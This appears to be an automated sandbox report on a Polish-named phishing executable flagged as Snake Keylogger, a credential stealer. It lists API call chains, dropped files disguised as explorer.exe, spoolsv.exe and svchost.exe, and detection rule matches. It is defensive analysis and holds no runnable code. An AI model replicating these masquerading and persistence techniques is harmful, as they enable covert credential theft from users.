Code function: 1_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

1_2_00434D50

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

1_2_004461ED

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

1_2_004364AA

Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	File created: c:\windows\system\explorer.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: c:\windows\system\spoolsv.exe	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\explorer.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	File created: c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	File created: c:\windows\system\svchost.exe	Jump to behavior
Source: C:\Windows\System\svchost.exe	File created: C:\Windows\system\cmsys.cmn	Jump to behavior

Source: C:\Users\user\AppData\Local\icsys.icn.exe

File deleted: C:\Windows\System\explorer.exe

Jump to behavior

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 0_2_0041F830	0_2_0041F830
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 0_2_00416130	0_2_00416130
Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Code function: 0_2_00422F50	0_2_00422F50
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00409A40	1_2_00409A40
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00412038	1_2_00412038
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00427161	1_2_00427161
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0047E1FA	1_2_0047E1FA
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004212BE	1_2_004212BE
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00443390	1_2_00443390
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00443391	1_2_00443391
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0041A46B	1_2_0041A46B
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0041240C	1_2_0041240C
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00446566	1_2_00446566
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004045E0	1_2_004045E0
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0041D750	1_2_0041D750
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004037E0	1_2_004037E0
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00427859	1_2_00427859
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00412818	1_2_00412818
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0040F890	1_2_0040F890
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0042397B	1_2_0042397B
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00411B63	1_2_00411B63
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0047CBF0	1_2_0047CBF0
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044EBBC	1_2_0044EBBC
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00412C38	1_2_00412C38
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0044ED9A	1_2_0044ED9A
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00423EBF	1_2_00423EBF
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00424F70	1_2_00424F70
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_0041AF0D	1_2_0041AF0D
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_03EE1280	1_2_03EE1280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529C468	10_2_0529C468
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05296498	10_2_05296498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529C738	10_2_0529C738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05297118	10_2_05297118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529C148	10_2_0529C148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05295362	10_2_05295362
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529D278	10_2_0529D278
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05299DE0	10_2_05299DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529CCD8	10_2_0529CCD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529CFAA	10_2_0529CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_052969B0	10_2_052969B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529E988	10_2_0529E988
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05299A20	10_2_05299A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529CA08	10_2_0529CA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529F630	10_2_0529F630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529F640	10_2_0529F640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05293E18	10_2_05293E18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529E97A	10_2_0529E97A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_052929EC	10_2_052929EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05293A89	10_2_05293A89
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529FA88	10_2_0529FA88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0529FA98	10_2_0529FA98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05869548	10_2_05869548
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05869C18	10_2_05869C18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05865028	10_2_05865028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586DDFF	10_2_0586DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586D540	10_2_0586D540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586D550	10_2_0586D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586CCA0	10_2_0586CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586FC5F	10_2_0586FC5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586FC68	10_2_0586FC68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586178F	10_2_0586178F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_058617A0	10_2_058617A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586EF60	10_2_0586EF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05861E80	10_2_05861E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586E6AF	10_2_0586E6AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586E6B0	10_2_0586E6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586DE00	10_2_0586DE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05861E70	10_2_05861E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586D9A7	10_2_0586D9A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586D9A8	10_2_0586D9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586295B	10_2_0586295B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05862968	10_2_05862968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586D0F8	10_2_0586D0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05860007	10_2_05860007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586F801	10_2_0586F801
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586F810	10_2_0586F810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05865018	10_2_05865018
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05860040	10_2_05860040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05868B90	10_2_05868B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05868BA0	10_2_05868BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586F3A8	10_2_0586F3A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586F3B8	10_2_0586F3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586EB08	10_2_0586EB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05860B20	10_2_05860B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_05860B30	10_2_05860B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586EAF8	10_2_0586EAF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586E249	10_2_0586E249
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_0586E258	10_2_0586E258

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: String function: 0040E6D0 appears 35 times

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe, 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameWin.exe vs ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe
Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Binary or memory string: OriginalFilenameWin.exe vs ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: zapytanie ofertowe st-2024-s315 cpa9170385.exe PID: 1088, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 5568, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, -O-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 1.2.zapytanie ofertowe st-2024-s315 cpa9170385.exe .3b00000.1.raw.unpack, -O-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe, icsys.icn.exe.0.dr, svchost.exe.5.dr, stsys.exe.6.dr, spoolsv.exe.4.dr, mrsys.exe.4.dr, explorer.exe.2.dr	Binary or memory string: B*\AD:\Code\Explorer\Explorer.vbp
Source: ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe, 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmp, icsys.icn.exe, 00000002.00000002.2046185098.000000000042C000.00000004.00000001.01000000.00000007.sdmp, spoolsv.exe, 00000005.00000002.2044481172.000000000042C000.00000004.00000001.01000000.0000000A.sdmp, spoolsv.exe, 00000007.00000002.2043327701.000000000042C000.00000004.00000001.01000000.0000000A.sdmp, explorer.exe, 00000031.00000002.2156485977.000000000042C000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: l`P@*\AD:\Code\Explorer\Explorer.vbp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@398/19@47/10

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0044AF5C GetLastError,FormatMessageW,

1_2_0044AF5C

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		1_2_00464422
Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe	Code function: 1_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		1_2_004364AA

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

1_2_0045D517

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,

1_2_0043701F

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,

1_2_0047A999

Source: C:\Users\user\Desktop\zapytanie ofertowe st-2024-s315 cpa9170385.exe

Code function: 1_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

1_2_0043614F

Source: C:\Users\user\Desktop\ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe

File created: C:\Users\user\AppData\Local\icsys.icn.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7268:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8056:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1960:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7956:120:WilError_03
Source: C:\Windows\System\explorer.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
